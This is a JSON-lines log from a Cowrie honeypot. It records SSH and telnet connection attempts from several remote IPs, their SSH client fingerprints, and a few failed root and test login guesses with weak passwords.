{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:08.004472Z","src_ip":"107.173.55.151","session":"3f9ccbc50630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:08.021830Z","src_ip":"107.173.55.151","session":"3f9ccbc50630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pluto","message":"login attempt [root/pluto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:08.131564Z","src_ip":"107.173.55.151","session":"3f9ccbc50630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:09.156636Z","src_ip":"107.173.55.151","session":"3f9ccbc50630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":33886,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c5c82a9d588","protocol":"telnet","message":"New connection: 45.63.42.31:33886 (10.17.0.5:23) [session: 5c5c82a9d588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:10.894770Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":52358,"dst_ip":"10.17.0.5","dst_port":23,"session":"73dbf9f8ec2c","protocol":"telnet","message":"New connection: 45.63.42.31:52358 (10.17.0.5:23) [session: 73dbf9f8ec2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:20.073977Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":37532,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e0602e83507","protocol":"ssh","message":"New connection: 5.182.83.231:37532 (10.17.0.5:22) [session: 4e0602e83507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:20.250149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:20.254869Z","src_ip":"5.182.83.231","session":"4e0602e83507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:20.372208Z","src_ip":"5.182.83.231","session":"4e0602e83507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ni1234567","message":"login attempt [root/Ni1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:20.871584Z","src_ip":"5.182.83.231","session":"4e0602e83507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:21.993047Z","src_ip":"5.182.83.231","session":"4e0602e83507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.750465393066406,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:22.372558Z","src_ip":"45.63.42.31","session":"6fb779d580b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.12869691848755,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:23.626862Z","src_ip":"45.63.42.31","session":"e81566bc7769","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.93506336212158,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:24.269175Z","src_ip":"45.63.42.31","session":"e04583c8bb72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53964,"dst_ip":"10.17.0.5","dst_port":23,"session":"25cf459d3ab6","protocol":"telnet","message":"New connection: 45.63.42.31:53964 (10.17.0.5:23) [session: 25cf459d3ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:24.938237Z"}
{"eventid":"cowrie.session.closed","duration":0.24230527877807617,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:25.180422Z","src_ip":"45.63.42.31","session":"25cf459d3ab6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":38364,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ce7f41f0302","protocol":"telnet","message":"New connection: 45.63.42.31:38364 (10.17.0.5:23) [session: 9ce7f41f0302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:25.521490Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":40636,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf70c3fb21ef","protocol":"telnet","message":"New connection: 45.63.42.31:40636 (10.17.0.5:23) [session: cf70c3fb21ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:25.723777Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":45358,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fbcfaa31d48","protocol":"telnet","message":"New connection: 45.63.42.31:45358 (10.17.0.5:23) [session: 2fbcfaa31d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:28.256984Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":47716,"dst_ip":"10.17.0.5","dst_port":23,"session":"83d6a629cf5a","protocol":"telnet","message":"New connection: 45.63.42.31:47716 (10.17.0.5:23) [session: 83d6a629cf5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:30.426934Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":54668,"dst_ip":"10.17.0.5","dst_port":23,"session":"f22e13191b48","protocol":"telnet","message":"New connection: 103.115.172.252:54668 (10.17.0.5:23) [session: f22e13191b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:36.610333Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":36666,"dst_ip":"10.17.0.5","dst_port":23,"session":"774220bd61f3","protocol":"telnet","message":"New connection: 45.63.42.31:36666 (10.17.0.5:23) [session: 774220bd61f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:37.929902Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.201.93.119","src_port":56428,"dst_ip":"159.203.135.109","dst_port":23,"session":"225a397603bc","protocol":"telnet","message":"New connection: 24.201.93.119:56428 (159.203.135.109:23) [session: 225a397603bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:39.198615Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":42228,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4ebbdadee89","protocol":"telnet","message":"New connection: 45.63.42.31:42228 (10.17.0.5:23) [session: f4ebbdadee89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:40.606839Z"}
{"eventid":"cowrie.session.closed","duration":32.50572919845581,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:43.400407Z","src_ip":"45.63.42.31","session":"5c5c82a9d588","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.12819504737854,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:53.326596Z","src_ip":"24.201.93.119","session":"225a397603bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.95930767059326,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:54.033146Z","src_ip":"45.63.42.31","session":"73dbf9f8ec2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":38914,"dst_ip":"10.17.0.5","dst_port":22,"session":"da5e5c91cf41","protocol":"ssh","message":"New connection: 107.173.55.151:38914 (10.17.0.5:22) [session: da5e5c91cf41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:56.316344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:56.325884Z","src_ip":"107.173.55.151","session":"da5e5c91cf41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:56.339290Z","src_ip":"107.173.55.151","session":"da5e5c91cf41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Bd123456","message":"login attempt [root/Bd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:56.438283Z","src_ip":"107.173.55.151","session":"da5e5c91cf41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:41:57.459788Z","src_ip":"107.173.55.151","session":"da5e5c91cf41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":33226,"dst_ip":"10.17.0.5","dst_port":23,"session":"300dde872fc8","protocol":"telnet","message":"New connection: 103.115.172.252:33226 (10.17.0.5:23) [session: 300dde872fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:00.088105Z"}
{"eventid":"cowrie.session.closed","duration":36.69783401489258,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:02.421509Z","src_ip":"45.63.42.31","session":"cf70c3fb21ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.43615388870239,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:02.957500Z","src_ip":"45.63.42.31","session":"9ce7f41f0302","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":54032,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6be1fb98c0e","protocol":"telnet","message":"New connection: 45.63.42.31:54032 (10.17.0.5:23) [session: a6be1fb98c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:02.982372Z"}
{"eventid":"cowrie.session.closed","duration":35.20288038253784,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:03.459746Z","src_ip":"45.63.42.31","session":"2fbcfaa31d48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.42168688774109,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:04.848483Z","src_ip":"45.63.42.31","session":"83d6a629cf5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":44922,"dst_ip":"159.203.135.109","dst_port":22,"session":"23170ae7a097","protocol":"ssh","message":"New connection: 191.255.52.36:44922 (159.203.135.109:22) [session: 23170ae7a097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:05.091499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:05.126222Z","src_ip":"191.255.52.36","session":"23170ae7a097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:05.260115Z","src_ip":"191.255.52.36","session":"23170ae7a097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwe","message":"login attempt [test/qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:05.827808Z","src_ip":"191.255.52.36","session":"23170ae7a097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":37120,"dst_ip":"10.17.0.5","dst_port":23,"session":"5077cff43ccf","protocol":"telnet","message":"New connection: 103.115.172.252:37120 (10.17.0.5:23) [session: 5077cff43ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:06.094856Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:07.061648Z","src_ip":"191.255.52.36","session":"23170ae7a097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":35136,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac98df5f01aa","protocol":"telnet","message":"New connection: 45.63.42.31:35136 (10.17.0.5:23) [session: ac98df5f01aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:07.498858Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":49742,"dst_ip":"10.17.0.5","dst_port":23,"session":"c09a5832e7eb","protocol":"telnet","message":"New connection: 45.63.42.31:49742 (10.17.0.5:23) [session: c09a5832e7eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:11.464263Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":47770,"dst_ip":"10.17.0.5","dst_port":23,"session":"28b8fdc43db1","protocol":"telnet","message":"New connection: 45.63.42.31:47770 (10.17.0.5:23) [session: 28b8fdc43db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:11.575541Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":39390,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dc3ffc688e9","protocol":"telnet","message":"New connection: 103.115.172.252:39390 (10.17.0.5:23) [session: 6dc3ffc688e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:14.652802Z"}
{"eventid":"cowrie.session.closed","duration":36.84542393684387,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:14.775149Z","src_ip":"45.63.42.31","session":"774220bd61f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.927156925201416,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:15.533890Z","src_ip":"45.63.42.31","session":"f4ebbdadee89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":48102,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fbe781296e5","protocol":"telnet","message":"New connection: 45.63.42.31:48102 (10.17.0.5:23) [session: 2fbe781296e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:24.313656Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":42222,"dst_ip":"10.17.0.5","dst_port":23,"session":"80cdecf73e7b","protocol":"telnet","message":"New connection: 103.115.172.252:42222 (10.17.0.5:23) [session: 80cdecf73e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:24.641003Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53662,"dst_ip":"10.17.0.5","dst_port":23,"session":"14a52cc76362","protocol":"telnet","message":"New connection: 45.63.42.31:53662 (10.17.0.5:23) [session: 14a52cc76362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:27.110174Z"}
{"eventid":"cowrie.session.closed","duration":57.243507862091064,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:33.853720Z","src_ip":"103.115.172.252","session":"f22e13191b48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":44614,"dst_ip":"10.17.0.5","dst_port":23,"session":"91ef3f60639d","protocol":"telnet","message":"New connection: 45.63.42.31:44614 (10.17.0.5:23) [session: 91ef3f60639d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:36.096404Z"}
{"eventid":"cowrie.session.closed","duration":34.70868468284607,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:37.690926Z","src_ip":"45.63.42.31","session":"a6be1fb98c0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.2489447593689,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:38.336939Z","src_ip":"103.115.172.252","session":"300dde872fc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":50750,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceb6376fff57","protocol":"telnet","message":"New connection: 45.63.42.31:50750 (10.17.0.5:23) [session: ceb6376fff57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:39.050677Z"}
{"eventid":"cowrie.session.closed","duration":34.1954391002655,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:41.694207Z","src_ip":"45.63.42.31","session":"ac98df5f01aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.35211777687073,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:43.816239Z","src_ip":"45.63.42.31","session":"c09a5832e7eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.7999427318573,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:43.894664Z","src_ip":"103.115.172.252","session":"5077cff43ccf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.213862895965576,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:46.789318Z","src_ip":"45.63.42.31","session":"28b8fdc43db1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.570711612701416,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:52.223326Z","src_ip":"103.115.172.252","session":"6dc3ffc688e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":59284,"dst_ip":"10.17.0.5","dst_port":23,"session":"6de50bf5ae90","protocol":"telnet","message":"New connection: 45.63.42.31:59284 (10.17.0.5:23) [session: 6de50bf5ae90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:42:56.173930Z"}
